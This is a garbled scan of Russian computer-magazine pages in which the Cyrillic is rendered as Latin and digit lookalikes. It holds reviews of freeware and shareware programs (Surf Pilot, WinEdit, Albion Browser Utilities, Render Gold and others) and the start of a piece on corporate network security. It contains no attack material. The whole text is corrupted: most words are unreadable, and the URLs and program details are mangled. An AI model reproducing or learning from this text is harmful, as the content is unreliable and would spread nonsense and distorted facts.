OiaBHbiM >ne a CHMTaio nyHKT MeHio «HacrpoMKM», 
npM Bbi30Be KOToporo OTKpbiBaeTcn okho, MMeioiAee 
neTbipe pa3Ae/ia: «llBeTa» (Bbi6op jma rpaAMeHTa, 
ABeTOB, nMKTorpaMMbi), «0ni4MM» (maBHoe okho, Ha- 


http://msdn.microsoft.com/workshop/imedia/ 
agent/agentdL.asp#core, m BMecre ohm 6yAyT 33 hm- 
MaTb 6o/iee 6 M6aPiT. ApyroPi HeAOCTaTOK nporpaM- 
Mbi B TOM, HTO OHa «HMT3eT» TeKCT He M3 CfOM/ia, a 
TO/ibKO M3 6yct>epa, a 3 to He BcerAa yAo6HO. A bot k 
A 0CT0MHCTB3M fl 6bl OTHeC TO, HTO OHa BOCnpMHMMa- 
eT pyCCKMM 51 3 bl K, a eC/lM Bbl nOAK/llOHeHbl K 1/lHTep- 
HeTy, to ee mo>kho HacTpoMTb Ha npoBepKy BaiueM 
noHTbi m coo6iAeHMe pe3y/ibTaTOB. KaK yTBep>KAaiOT 
aBTopbi nporpaMMbi, npn nyTewecTBM/ix no PlHTep- 
HeTy Bbi MO>KeTe c/iyiuaTb 3aMHTepecoBaBWMM Bac 
pa3Ae/i (HanpMMep, aHeKAOTbi), He 3aAepwMBa/icb 
Ha HeM cneuMa/ibHo. 



CTpOMKa HOpMa/lM3aUMM, HacTpoMKa MMKiuepa, rAe 
MMeeTcn no/ie3Han c|)yHKunfl peBepca KaHa/iOB cre- 
peo, Bbi6op AeMCTBM/i Ha abomhom lAe/iHOK MbiuiM no 
nMKTorpaMMe), «ropnHMe K/iaBMiuM» (HacTpoMKa K/ia- 
bmlli noA c/ieAyioiAMe ag^ctbm/i: yBejinneHMe/yMeHb- 
uieHMe rpoMKOCTM, M3MeHeHMe 6a/iaHca, Bbi30 B oa- 
HOM M 3 HeTbipeX HaCTpoeK naM51TM, HOpMa/lM3aUM51 
m npMmyiueHMe 3ByKa) m «ByAM/ibHMKM» (b h 3 /imhmm 
7 6yAM/lbHMKOB), B 3TOM >Ke nyHKTe MO>KHO Bbl6paTb 
AaTy, BpeM/i m mc/ioamio 3 bohk 3. 

npM TaKMx bo3mo>khoct5ix nepexoA Ha Audio- 
Sphere Ka>KeTC5i Bno/iHe onpaBAaHHbiM. 

Pa3pa6oTHMK Svet-soft 
www.svet-soft. com/ru 

Yc/ioBMfl pacnpocTpaHeHMB shareware 


Surf Pilot SE 0.97.1.0 

MlUeM M HaXOAMM 


yAo6Han nporpaMMa Rnn noMCKa MHcfiopMauMM b 
MHT epHeTe. Surf Pilot aBTOMaTMHecKM vuixei mh- 
cJ/opMauMio Ha 6o/iee neM 100 noMCKOBbix Maui m- 
Hax. noc/ie 3anycKa nporpaMMbi Bbi yBMAMTe ok- 
ho, b kotopom (a/i/i Hana/ia) Bbi6epMTe «HanaTb 
HOBbm noMCK», b c/ieAyioiAeM OKHe Bbi6epMTe Ka- 
TeropMio noMCKa (rAe m KaKOM tm n MHcj/opMauMM 
MCKaTb). 3aTeM BBeAUTe K/uoneBoe c/iobo m/im 

Pa3pa6oTHMK Invention Office RG 
www. colorpilot. com/ru /inform, htm I 

yc/ioBMH pacnpocTpaHeHMB freeware 


c|)pa3y, noc/ie Hero nporpaMMa aBTOMaTMHecKM 
o 6 paTMTcn c 3anpocoM k TeM noMCKOBbiM cepBe- 
paM, KOTopbie Bbi yKa3a/iM. noc/ie stoto non bmt- 
c/i okho caMOM nporpaMMbi. C/ieBa Bbi MO>KeTe 
BMAeTb mm/I CBoero 3anpoca (TaM >Ke 6 yAeT cto- 
nTb UMcJ/pa, 03HanaioiAa5i ko/imhcctbo HaMAeHHbix 
ccbi/ioK), ocjDopM/ieHHoro KaK nanKa b o 6 biHHOM 
«ripoBOAHMKe», a cnpaBa 6 yAeT BbiBeAeH caM pe- 
3 y/ibTaT noMCKa. Surf Pilot HenocpeACTBeH ho b 
npouecce noMCKa npoBepneT pa 6 oTOcnoco 6 - 
HOCTb Ka>KAOM CCbl/lKM m noKa3biBaeT MHcJ/opMa- 
AMio 06 3 tom. Pa 6 oHMe ccbi/i km npeACTaB/ieHbi 


Kpy>KOHKOM c 3e/ieHOM ra/iOHKOM, noATBep>KAaio- 
lAeM, hto ohm npMBeAyT Ha cyiAecTByioiAyio CTpa- 
hm uy. Hepa6oHMe - noMeneHbi Kpy>KKOM c Kpac- 
HblM KpeCTMKOM. HpOBepMTb CCbl/lKM MO>KHO BO 
BCTpoeHHOM MMHM-6pOy3epe, KOTOpbIM n051B/15ieT- 
cn noc/ie abomhoto lAe/iHKa Mbiuibio no HaMAeH- 
HOMy aApecy. nporpaMMa MMeeT p/iA HaCTpoeK, 
KOTopbie AOCTynHbi b MeHio «HacTpoMKM» c oaho- 
m m e h h bi m nyHKTOM (rop/inan k/i a b m m a F9). f\o- 
CTynHbie 5i3bi km m HTepcfieMca: pyccKMM m anvnm- 
CKMM. Ka>KAblM M3 HMX OCHaiAeH xopouieM M 
yAo6HOM AOKyMeHTauMeu. 
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BG_ASCII 1.32 

PMcyeM 6yxBaivm 


110^e3HblM MHTepaKTMBHbIM MHCTpyMeHT C03fla- 
hma ASCII-rpac|)MKM, to ecrb rpac|DMHecKoro M3o6- 
pa>KeHM^, co3flaHHoro c noMOLAbio cmmbojiob 
(«A..Z 1..0 !.*#$). I/I mepaKTH BHOCTb nporpaMMbi 
fleMCTBMTe/l bHO flOCTaTOHHO BbICOKa — Jllo6oe M3- 
MeHeHMe TyT >Ke OTpawaera Ha 3KpaHe. C noMO- 
AblO MHCTpyMeHTa PIC M0>KH0 KOHBepTMpOBaTb 
rpa^nnecKoe M3o6pa>KeHMe (noAAepwMBaeTca 
oko/io 27 cfiopMaTOB) b ASCII-KapTMHKy. Ha>KMMTe 

Pa3pa6oTHMK Bopnc Oia3ep 
http:/ /mazaika. tripod, com/ 

Ycjiobmh pacnpocTpaHeHMfl ► freeware 


Ha KHonKy PIC, 3aieM Ha Open m Bbi6epme rpacj dm- 
necKMM c|Dan/i, KOTopbin Hy>KHO o6pa6oiaib. Korfla 
KapTMHKa 3arpy3M/iacb, Ha>KMMTe Go, m pe3y/ibTaT 
o6pa6oTKM noflBMTCfl b pa6oneM OKHe nporpaMMbi. 
Mo>kho MeHiiTb UBeT onpefle^eHHoro ynacTKa 
ASCII-KapTMHKM (ajia 3aieHeHMii Shift + jieBaa 
KHonKa MbiiuM; p,nn ocBeT/ieHMA Shift + npaBaa 
KHonKa). TaK>Ke mo>kho MeHATb pa3Mep 3KpaHa m 
3aflaBaTb pa6onyio o6/iacrb M3o6pa>KeHnfl. C no- 
MOiMbio MHCTpyMeHTa TXT mo>kho C03flaBaTb /no6bie 
ASCII-HaflnMCM, ncno/ib3yfl jho6om M3 ycraHOB/ieH- 
Hbix Ha ManiMHe wpnc|DTOB. EcTb b nporpaMMe m 
B 03M0>KH0CTb nOBOpaHMBaTb C03flaHHyi0 KapTMHKy, 
nepeBopaHMBaTb tckct (Tax, HTo6bi oh Bbir/mAe/i 


HanMcaHH biM cnpaBa Ha/ieBo) m mhoto flpyrnx no- 
/ie3Hbix BeiMen. no/iyneHHoe M3o6pa>KeHMe mo>k- 
ho noMecTMTb b 6 yc(Dep ajia ncno/ib30BaHMfl b Apy- 
rnx npn/io>KeHnflx. 



High Lighted Style 1.00 

npOrpaMMMCTy — B flWeHTJlbMeHCKMM Ha6op 


YAo6HbiM TeKCTOBbm peAaKTop pj\n Tex, kto nporpaM- 
m m pyeT Ha HTML, Java n/in PerL 1/lMeeT Bee c|3y h kam m 
CT aHAapTHoro 5/ioKHOTa, n/iioc He6o/ibwne Ao6aB/ie- 
hma, KOTopbie npnflTHO nopaAyiOT no/ib30BaTe/ien. B 
CTaHAapTHbIM A>KeHT/lbMeHCKMM Ha6op BOLLI/M TaKMe 
B03M0>KH0CTM, KaK: «HOBblM AOKyMeHT», «3arpy3MTb», 
«coxpaHMTb», «coxpaHMTb KaK...», «nenaTb», «OTMe- 
HMTb», «KOnnpOBaTb», «Bbipe3aTb», «BCTaBMTb», «MC- 
KaTb» M T. A- ripn C03A3HMM HOBOTO AOKyMeHTa M/1M 
OTKpbiTMM cyiAecTByioiAero noflB/meTOi pa6onee ok- 
HO. Yao6hO M TO, HTO MO>KHO OTKpbIBaTb HeCKO/lbKO 

Pa3pa6oTHMK Sword 
www.sword.hl.ru 

Ycjiobmb pacnpocTpaHeHMB freeware 


OKOH nporpaMMbi, B Ka>KAOM M3 KOTOpbIX B JieBOM 
HM>KHeM ymy 6 yAeT bmahb CTaTMCTMKa AaHHoro AOKy- 
MeHTa, a TOHHee no/ioweHMe Kypcopa b HeM (cTpoxa 
m cmn 6 e 4 ). IJpaBee HaxoAMTOi o 6 o 3 HaneHMe nc- 
no/ib 3 yeMoro CMHTaKCMHecKoro ctm/ia (HTML Syntax 
style, Java Syntax style n/in Perl Syntax style), koto- 
pbiM mo>kho 3 aAaTb, Bbi 6 paB nyHKT Change Style b 
MeHio Options. Bbi 6 paHHbin crn/ib onpeAe/meT «pac- 
KpacKy» AOKyMeHTa, hto oneHb yAo 6 HO npn cocraB- 
zieHMM web-CTpaHMA. Ec/im >Ke Bac He ycrpanBaeTTa 
na/mTpa, KOTopaa Mcno/ib3yeTCfl no yMO/maHnio, ee 
MO>KHO M3MeHMTb. Ka>KAOMy nyHKTy OTBOAMTCfl no 
HeTbipe CTM/153 WpMC|DTa (>KMpHblM, HaK/lOHHblM, nOA“ 
HepKHyTbiM m nepenepKHyTbiM), npeAOcraB/meTCfl 
B03M0>KH0CTb MeHflTb raMMy npM nOMOlAM Tpex oc- 


I I — 

fc J B > a 1 m few 



r 


HOBHbIX ABeTOB (KpaCHbIM, 3e/ieHbm m cmhmm), a TaK- 
>Ke UBeT cJaoHa ajia jho 6 om HacrpoMKM. B MTore no/iy- 
hm/ica yAo 6 Hbm TeKCTOBbm peAaKTop, KOTopbin mo>k- 
ho Ha3BaTb oahmm M3 jiyHwnx BcnoMoraTe/ibHbix 
MHCTpyMeHTOB p,nn web-AM3aMHa. 


LeVeL BBS HTML Gallery 

0<|)OpiVIH CBOM 

IJporpaMMa p,nn C03AaHMA KapTMHHbix ra/iepeM Ha oc- 
HOBe HTML. K cowa/ieHMio, ra/iepen b 1/lHTepHeTe 
oneHb nacTO mmciot HeyAaHHbin AH3aMH m HeyAo6Hyio 
HaBMrauMio. C noMOiAbio LeVeL BBS HTML Gallery Ma- 
ker m npM 3aTpaTe MMHMMyMa ycn/inn mo>kho co3Aa- 
BaTb ra/iepen c KpacMBbiM ah33mhom m yAo6HOM Ha- 
BMrauMeM. rioAAop>KMBaeTC5i oko^o 20 cjDopMaTOB 
rpacfiMHecKMx cfiaM^OB. OopMaT BbixoAHbix cfiaM^OB: 

Pa3pa6oTHMK Cepren Ahtolumh 
level, newmail. ru/gm 

Ycjiobmh pacnpocTpaHeHMB freeware 


Maker 2.6 

«S1yBp» 

JPEG m/im BMP. Bee HTML-crpaHMAbi b 3tom nporpaM- 
Me pa3Ae/ieHbi Ha HecKO/ibKO ziorMHecKMx cjDpameH- 
tob (oAMHHaAUaTb aaa Table crpaHMAbi, AeB^Tb aaa 
I mage Shell crpaHMAbi, TpM ajia Index). Ka>KAbm 
HTML-cfiparMeHT npeAHa3HaneH unn onpeAe^eHHbix 
Ae^eM, XOTfl npM Heo6xOAMMOCTM MO>KHO M3MeHMTb 
/ho6om M3 hmx. l/l3Hana^bHO Bee HTML-cfiparMeHTbi 
pacno^o>KeHbi b A^peKTopMM GM Path\Fragments, ho 
mx mo>kho ^erxo nepeMecTMTb b ^io6yio Apyryio, xot^i 
npM 3 tom npMAeTC^i CKoppeKTMpoBaTb INI-cjaaM/i. 

IJpn BceM CBoeM yAo6cTBe nporpaMMa k TOMy >Ke eiAe 
m a6co/noTHo 6ecn^aTHa5i. TaK>Ke peKOMeHAyio bhm- 



MaTe/ibHO nponecTb MHCTpyKAMio (oHa ecTb m Ha pyc- 
ckom 5i3biKe) no ee Mcno/ib30B3HMio, TaK KaK npo- 
rpaMMa AOBO/lbHO C^O>KHa OCBOeHMfl. 
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WinEdit 1.9.0. 1 

Eo/ibiue, neM E/iokhot 



TeKCTOBbiM peflaKTop, npeAHa3HaneHHbiM, Ha mom 
b3taaAa A-n^ cross-nporpaMMMcroB. TeM He MeHee 
WinEdit MOweT 6biTb ncnoAb30BaH m p,nn Apyrnx 
AeAen. KpoMe Toro, oh MOweT AOCTaTOHHO HenAOxo 
33MeHMTb CTaHAapTHbiM E/iokhot Windows. PeAaK- 
Top TaK>Ke no3BO/ifleT noAKAionaTb aio6om komhmaa- 
Top m aio6om /iMHKep, KOTopbiM MO>KeT pa6oTaTb 
C KOMaHAHOM CTpOKOM. B erO COCTaB BXOAMT BHeiil- 
haa (He3aBMCMMafl) yTM/iMTa pj\s\ noMCKa PoiskWin, 
KOTOpafl n03B0AAeT npOM3BOAMTb nOMCK C/1 OB M/1M 
cJ/parMeHTOB TeKda b aio6om m3 Tpex koampobok 
(Winl251, DOS, Koi8-r). YrMAMTa noMCKa no3BOAAeT 
3arpy>KaTb HaMAeHHbie cJaaM/ibi M3 cnMCKa HenocpeA- 
CTBeHHO b peAaKTop. WinEdit noAAepwMBaeT p,nm- 
Hbie MMeHa b KanecTBe napaMeipa b KOMaHAHOM 
dpoKe, ho b 3tom KanecTBe MO>KeT 6biTb nepeAaH 
nyTb M MMA, K CO/Ka/ieHMlO, TO/lbKO OAHOrO TeKCTO- 
boto cjaaM/ia. Aaa Toro HTo6bi npAMO M3 nporpaMMbi 
mo>kho 6bi/io KOMnn/iMpoBaTb, /iMHKOBaTb m/im 3any- 
CKaTb CMMy/i/iTop (a/i/i cross-nporpaMM), AOcraTOH- 
HO 33MTM B MeHK) «Pa 60 Ta C nporpaMMOM», Bbl6paTb 
nyHKT «Pa6oHMe ydaHOBKM» (ropAHaA K/iaBMiua 
F10) M B OTKpbl BLLieMC/l OKHe 3aAaTb MX MeCTOHa- 
xo>KAeHMe Ha AMCKe. TaM we mowho coxpaHMTb Ha- 
CTpOMKM. HMeeTCfl B H3AMHMe KOMaHAHa/1 CTpOKa, 
c noMOLAbio kotopom mowho 3anycTMTb /i io6yio npo- 

Pa3pa6oTHMK Eapy^MH A. A. 
http:/ /mcl 6c76. chat. ru/Programs.htm 

yc/ioBMH pacnpocTpaHeHMH freeware 


rpaMMy. Pa3pa6oTHMKM noAyMa/iM TaK: pa3 yw Mbi 
B TeKCTOBbiM peAaKTOp BCT3BM/1M KOMaHAHyiO CTpO- 
Ky, to noneMy 6bi He Ao6aBMTb Ka/ibKy/i/iTop m Hacr- 
poMKy UBeTa (caMoe ywacHoe to, hto no yMO/ina- 
hm lo ctomt HepHbiM abct c|)OHa pa6onero 3KpaHa 
M HepHbiM ABeT LUpMC|DTa — BMAHO He C/1MIUKOM xo- 
poiuo) B 353/1 m m... Ao6aBM/iM. OTAe/ibHO xony OTMe- 
TMTb MMeHHO CK)SS-nAaTC|DOpMeH HOCTb npOAyKTa. 


Flo yMO/inaHMK) Mcno/ib3yeTC/i KOAMpoBKa Winl251, 
ho zierKMM ABMweHMeM pyKM mowho cbo6oaho ne- 
peK/iiOHMTC/i Ha Dos- mam Koi8-r-KOAMpoBKy. 

M b OT/iMHMe OTTeKCTOBoro peAaKTopa High Lighted 
Style CTaTMCTMKa TexyiAero AOKyMeHTa noAHee: CAe- 
Ba BHM3y o6o3HaneHO noAOweHMe Kypcopa, b aght- 
pe yKa3aHO o6iAee koamhcctbo ctpok, a cnpaBa no- 
Ka3aH o6-beM TeKCTa. 


Albion Browser Utilities 1.3 

ripMfiTHbie Me/i ohm fl/iji 6poy3epa 


Albion Browser Utilities (AaAee ABU) Ao6aBMT 
chopobkm BarneMy 6poy3epy. Aaa toto HTo6bi no- 
HyBCTBOBaTb M3MeHeHMA, KOTOpbie BHOCMT npO- 
rpaMMa, AOCTaTOHHO 3anycTMTb, HanpMMep, Inter- 
net Explorer n b aio6om MecTe ero pa6onero OKHa 
HawaTb npaByio KHonxy MbiuiM. BarneMy B3opy 
npeACTaHeT Heo6biHHo 6oAbwoM Bbi6op BceB03- 
MOWHblX AOnOAHMTeAbHblX CjDyHKLJMM. flaHHaA yTM- 
AMTa 6yKBaAbHO HanMHKaHa BCeB03M0>KH bIMM no- 
Ae3HblMM AOnOAHeHMAMM K CT3HA3pTH0My 
6poy3epy. HanpMMep, ecAM Bbi xotmtc KynMTb ne- 
pe3 I/I HTepHeT KHMry, to AOCTaTOHHO b 6poy3epe 
HawaTb npaByio KHonxy MbiuiM m Bbi6paTb HaM6o- 
Aee yAo6Hbm BapnaHT noMCKa: no aBTopy (cTpoKa 

Pa3pa6oTHMK ► Albion Research Ltd 

www.albionresearch.com/products/abutils 

Ycaobma pacnpocTpaHeHMA freeware 


Book, Author), no Ha3B3HMio (Book, Title) mam we 
no MAeHTMcjDMKaAMOHHOMy HOMepy (Book, ISBN). 
OTKpoeTCA HOBoe okho, b kotopom 6yAeT npMBe- 
AeH cnMCOK OHAaMH-Mara3MHOB, rAe mowho 3aKa- 
3aTb Tpe6yeMyio KHMry. IIohtm t3Kmm we o6pa30M 
0praHM30B3H nOMCK My3blKM M cflMAbMOB. C nOMO- 
lAbio 3tom nporpaMMbi Bbi TaKwe MOweTe y3HaTb, 
CKOAbKO, K npMMepy, B OAHOM aMepMKaHCKOM AOA- 
Aape MOHroAbCKMx TyrpMKOB. HawMMTe npaByio 
KHonKy MbiuiM, Bbi6epMTe CTpoKy Currency, OTKpo- 
eTCA HOBOe OKHO, TAe npOM3BOAMTCA Bbl6op B3AIO- 
Tbl M ee KOAMHeCTBO. B 3TOM We OKHe MOWHO yBM- 
AeTb a n h a m m Ky Kypca Bbi6paHHbix b3aiot 
OTHOCMTeAbHO Apyr Apyra. KpoMe toto, nporpaMMa 
o6AernaeT nepecbiAKy TeKCTa no 3AeKTpoHHOM 
noHTe. AOCTaTOHHO BbiAeAMTb HywHbiM cfiparMeHT 
TeKCTa b OKHe 6poy3epa, HawaTb npaByio KHonKy 
MbiuiM m Bbi6paTb Email, Text. OcraHeTCA TOAbKO 


BBecTM aApec noAynaTeAA. B ABU TaKwe BcrpoeHa 
B03M0WH0CTb nepeBOAa TeKCTa. K cowaAeHMio, no- 
Ka nporpaMMa pa6oTaeT TOAbKO c TpeMA A3biKaMM 
— aHTAMMCKMM, Cj/paH Ay3CKMM M MCnaHCKMM,' HO He 
MCKAIOHeHa B03M0WH0CTb, HTO nOABMTCA nOAAepW- 
Ka m pyccKoro A3biKa. 
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3 k CTp a - h Te h n e 3.0 


1200 C/lOB B MMHyTy 



■ 


KaK c^eflyeT M3 Ha3BaHMA, sto nporpaMMa Rnn oby- 
neHMA TexHMKe 6biciporo htchma, a Ta tone aaa y/iyn- 

LLieH M53 BOCnpMATMA, nOBblUieHMA BHMM3HMA M TpeHM- 
Pobkm naMATM. B ocHOBy pa3pa6oTKM 3a/io>KeHa 
opHri/ma/ibHafl MeTOflMKa MmeHCMBHoro obyneHMA, 
b/iaroAapA kotopom AOcmraiOTCA bo/iee BbicoKMe 
pe3y^bTaTbl M 3C|DC|3eKTMBHOCTb obyneHMA 3a KOpOT- 
KMM CpOK. TaKMM obpa30M, no 3aAB/ieHMIO aBTOpOB, 
ne/iOBeK, 3aHMMaioiMMMC5i no stom cMCTeMe, 6yflei 
nodeneHHO ynMTbCA nmaTb Bee 6bicipee m bbicrpee, 
Bn/iOTb ao 1200 c/iob b m m H yiy m bo/iee. 

noc/ie 3anycKa nporpaMMbi noAB/iAeTCA maBHoe 
Memo, cocToamee M3 neTbipex nyHKTOB. llpe>KAe neM 
npMdynMTb k 33hatmam, Heo6xoAMMO Ha>KaTb KHon- 
Ky «HadpoMKM», Bbi6paTb TeKCTOBbm cpaM /i, c koto- 
poro Bbi xoTme HanaTb obyneHMe (obpaTMTe bhmm 3- 
Hue Ha to, hto cfiopMaT cfiaM/ia obA3aTe/ibHo ao/dkch 
6biTb «windows text c pa36neHneM Ha ctpokm», ko- 

Pa3pa6oTHMK flMMTpMM (no AOHHbiM cama 

pa3pa6oTHMKa) 

www. az. ru/ extra read 

yc/ioBMfl pacnpocTpaHeHMfl freeware 


Topbm zierKO no/iynMTb, ec/iM 
nOMeCTMTb Hy)KHblM cpaM/i B MS 
Word i/i coxpaHmb ero KaK 
«TeKCT c pa36MeHMeM Ha crpo- 
km»). 3aieM yciaHOBMTe Heob- 
XOAMMblM ypOBeHb C/IO/KHOCTM 
— mx Bcero neTbipe: pe>KMM 
npocMOTpa, pj\s\ HaHMHaioiAMx, 

HOpMa/lbHblM M C/10)KHblM. Ec/1M 
ecTb we/iaHMe, mo>kho noMe- 
HATb ABeT TeKCTa M CpOHa, npM- 
neM b KanecTBe cfioHa mo>kho 
Mcno^b30BaTb /no6yio KapTMHKy. I/I MeeTCii TaK>Ke Ha- 
CTpoMKa pa3Mepa mpMcfiTa. no yMO/maHMio Mcno/ib- 
3yeTCA LupMcpT MS Sans Serif 12 Ker/iA, hto peKOMeH- 
AyeTCfl npn pa6oTe c rpacfiMKOM 640x480. Ec/im >Ke 
Bbi Mcno/ib3yeTe 6o/iee BbicoKoe pa3peiueHMe, to 
mo>kho nocTaBMTb 6o/iee KpynHbm LupucpT, ho byqb- 
Te BHMMaTe/ibHbi, TaK KaK HeBepHaA ycraHOBKa ero 
pa3Mepa MO>KeT npMBecTM k TOMy, hto CTpoKa TeKCTa 
He 6yAeTyMemaTbCfl Ha 3KpaHe, hto KpaMHe Hewe- 
/iaTe/ibHo. J\nn peweHMA npob/ieMbi M3/iMWHe aamh- 
Hbix ctpok b nporpaMMe npeAycMOTpeHa cneAMa/ib- 


HaA Cj)yHKAMfl «YMHblM Ae/lMTe/lb CTpOK», KOTOpbIM 
C03AaCT Co6CTBeHHbie CTpOKM A/1HHOM oko/io 50 
CMMBO/IOB. Iloc^e HaCTpOMKM nporpaMMbi Ha>KMMTe 
«0k» m b r/iaBHOM MeHio Bbi6epMTe nyHKT «HanaTb». 
nporpaMMa HaHHeT nocTpoHHO noKa3biBaTb tckct. 
CyTb ynpa>KHeHMfl coctomt b tom, HTo6bi KaK mo>kho 
bo/iee BHMMaTe/ibHo HMTaTb noKa3biBaeMbm tckct. 

I/I HorAa Ha 3KpaHe 6yAyT noAB/iATbCA BepTMKa/ibHbie 
/imhmm. He nyraMTecb — sto He paccrpoMCTBO 3pe- 
hma, a Bcero /iMWb yKa3aTe/iM MecTa cfiMKcaAMM 
B3m^Aa* BbiCTporo BaM htchma! 


Render Gold 1.02 

TpexMepHoe 4 >oto 


OnepeAHoPi nporpaMMHbm npoAyKT aaa MaHMny- 
/iaamm HaA rpacJ/MnecKMMM M3obpa>KeHMAMM. 3Ta 
nporpaMMa no3BO/iAeT npMAaTb HeKyio TpexMep- 
HOCTb Aa>Ke coBepmeHHO n/iocKMM KapTM h K aM 
(HanpMMep, cpOTorpacJa m 53 m ) . 

HanHeM c neTbipex ocHOBHbix nyHKTOB MeHio 
nporpaMMbi: Object, Transform, Global m Backg- 
round. 3 tm nyHKTbi Bbino/iHAiOT po/ib CBoeobpa3- 
HblX 3aK/iaAOK, npM H3>KaTMM Ha KOTOpbie OTKpbl- 
Baera Ta m/im m HaA CTpaHM 14 a c HacTpoMKaMM no 
AaHHOMy pa3Ae/iy. 3aK/iaAKa Object OTBenaeT 3 a 
HaHocMMbie Ha cJdoh ob-beKTbi: ropM30HTa/ibHaA m 
B epTM Ka/i bHaii /imhmm, KO/ibAO m ccfiepa. Hommmo 
npocToro AobaB/ieHMA o6-beKTOB, Ha stom 3aoaA- 
Ke BaM npeAOCTaB^5ieTC5i B03M0>KH0CTb 3aAaTb 
koopah H aTbi 06 -beKTa, co3AaTb f\j\9\ Hero 3 cf) cja e kt 
BO/ iHbi (no TpeM AaHHbiM: TO/iiAMHa, aMn^MTyAa m 
cjaa3a) \ajua ycTaHOBMTb Ha/io>KeH Me oahoto o6-b- 

Pa3pa6oTHMK ► CeprePi Ahtoujmh 
level, newmaii ru/gm 

yc/ioBMJi pacnpocTpaHeHMB freeware 


eKTa Ha ApyroM. Ha3BaHMe 33K/13AKM Transform 
roBopMT caMO 3a ce6^i. nepeMA^ Ha Hee, Bbi no^y- 
HMTe B03M0>KH0CTb BC^IHeCKM MeHjITb CjDOpMy Bbl- 
6paHHoro BaMM obteKTa, BoioHa^ noBopoTbi m 
OT pa>KeHM51 (BCe TpaHCCjDOpMaAHM npOM3BOA^TC51 c 
noMOLAbio 3aAaHM5i KOopAMHaT no TpeM ocam: x, y 
m z). fla/iee c^eAyeT 3aoaAKa Global, Ha kotopom 
B bi CMO>KeTe M3MeHj1Tb ABeT obteKTa, OTTeH^Tb 
ero m npoM3BOAMTb obpaboTKy TpaHccfiopMaAMM. 
Ha 3aoaAKe Background npoM3BOAflTCfl paboTa c 
cIdohom, Ha kotopom HaxoAMTCfl obteKT. 3AeCb 
mo>kho nacTMHHO M/i m no/iHOCTbio M3MeH/iTb napa- 
MeTpbi cjaoHa (M3MeH/iTb pa3Mep, 3arpy>KaTb MMe- 
ioiammc/i cJd 0 h, 3a/iMBaTb ABeTOM, co3AaBaTb 3 cJd - 
cfieKT Interleave — nocrpoHHoe M3obpa>KeHMe 
m/im npocTO HanMcaTb Ha HeM HTO-HMbyAb). 

B npaBOM HM>KHeM yr/iy pabonero OKHa npo- 
rpaMMbi HaxoA/iTC/i KHonKM, KOTOpbie noMoraiOT 
npM paboTe c Render Gold. nepBaa KHonKa — 
Render (c noMOiAbio Hee MAeT obpaboTKa BHeceH- 
Hbix M3MeHeHMM 3a BpeM/i paboTbi c nporpaMMoPi, 
OHa HeAOCTynHa Ha 3aK/iaAKe «Background»), bto- 
paa — Copy to background (KonupoBaHMe b c|doh. 


TO>Ke HeAOCTynHa Ha 3aK/iaAKe Background), Tpe- 
Tb/i — Save image (coxpaHeHMe no/iyneHHOM Kap- 
tmhkm), neTBepTa/i — Preview wallpaper (nocMOT- 
peTb Ha to, KaK Bauia KapTMHKa r/i/iAe/iacb bbi b 
BMAe cjaoHa A /153 pabonero cmna) m, HaKOHeA, n/i- 
Ta/i — Set wallpaper (ycraHaB/iMBaeT Bauiy Kap- 
TMHKy cJdohom pabonero CTO/ia). y>Ke mmcioiammc/i y 
Bac cJdoh m/i m KapTMHKy A-nfl obpaboTKM mo>kho 3a- 
rpy3MTb, BbibpaB b MeHio File cooTBeTCTBeHHO 
Load background mam Load Surface. A KpacMBO 
no/iynaera! PerMCTpa aha p,nn no^yneHMA AonoA- 
HMTe/ibHbix MOAyAePi ctomt $39,99. 
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3ami/ua c n c t e m I n t e r n e t/ 1 n t r a n e t 

3amma KopnopaTMBHOM 

ceTH b Internet 

huh ot Internet? 

ripaKTMKa Beflem/m 6i/i3Heca noKa3biBaeT, hto caMbiM LjeHHbiM pecypcoM BB/ifieTCfl MH(j)opMapMfl. 
ripo6/ieMy 3ammbi MHcjjopMapnn b KopnopaTMBHoPi CMcreMe Internet/Intranet TaK v\m MHane 
nbuaiOTCfl peujmb Bee KOMnaHMM. Hio6bi o6e3onacmb ce6a ot yieHKM m/im noTepw MHc|DopMauMM, 
HaHHme c rpaMomo cocraB/ieHHoro npoeKTa 3ammbi ceTM, m b kohchhom more sto no3BO/im BaM 
AOdurHyTb we/iaeMoro ypoBHji 3KOHOMMHecKOM 3c|}c|}eKTMBHOCTM npeflnpuBTmi. 


npo6sieivia 

PaHO M/ 1 M n 03 flH 0 MHOrOHMC/ieHHbie CJiy>K 6 bl aBTO- 
MaTM 3 a 4 MM M MHCflOpMaUMOHHOM 6 e 30 naCH 0 CTM KOM- 
naHMM cra/iKMBaiOTCfl c oflHOM m tom >Ke npo 6 /ie- 
mom: KaK o 6 ecneHMTb 6 e 3 onacHOCTb m 3 aiMMTy mh- 
cfiopMauMM? B nocTOAHHO padyiMeM KopnopaTMB- 
HOM ceTM nOflB/lfllOTCfl Bee HOBbie y 3 /lbl, BbIXOfl BO 
BHeiUHMe ceTM, M MHC| 30 pMai 4 M 0 HHbie nOTOKM CT 3 HO- 
BflTCfl HeKOHTpO/IMpyeMbIMM. B MTOre BpeMfl flOCTy- 


na k MHcjDopMauMM yBe^MHMBaeTCfl Ha nopaflOK, a 
KOHCjDMAeHLJMaJlbHafl MHCj 30 pMaUM 51 npeflnpMflTMfl 
MO>KeT KaK npocro Mcne 3 HyTb, TaK m nonacTb b ny- 
>KMe pyKM. HecMOTpa Ha nocTOAHHoe coBepweHCT- 
BOBaHMe annapaTHO-nporpaMMbix cpeflCTB b o 6 /iac- 
TM IT, COTpyflHMKM CJiy>K 6 aBTOM 3 TM 3 aUMM M MHCjDOp- 
MauMOHHOM 6 e 3 onacHocTM HenpepbiBHo 3 aHATbi pe- 
LueHMeM Me/iKMx npo 6 /ieM. riocTeneHHo mx KO/iMHe- 
ctbo npeBpamaeTca b jiaBMHy, KOTopaa CMeTaeT Ha 


CBoeM nyTM Bee MHcfiopMauMOHHbie iiotokm KOMna- 
HMM, M CT 3 BMT nOfl COMHeHMe 3 C|DCjDeKTMBHOCTb o 6 eC- 
neneHM^ 6 e 3 onacHOCTM KOMnbiOTepHOM ceTM npefl- 
npMflTMfl. Bee 3 TO npMBOflMT K paCLUMpeHMK) UJTaTa 
BblCOKOKBa^MCjDMAMpOBaHHblX CneUMa/lMCTOB, K no- 
CTaHOBKe m pea^M 3 auMM caMbix pa 3 Hoo 6 pa 3 Hbix m 
3 anacTyto npoTMBopeHMBbix 3 aflan, a c/ieflOBaTe/ib- 
HO, M K 3 H 3 HMTe/lbHblM cj}M H 3 HCOBblM 3 aTpaTaM Ha 
noflflep>KaHMe iio/imtmkm 6 e 3 onacHOCTM npeflnpMflTMA. 
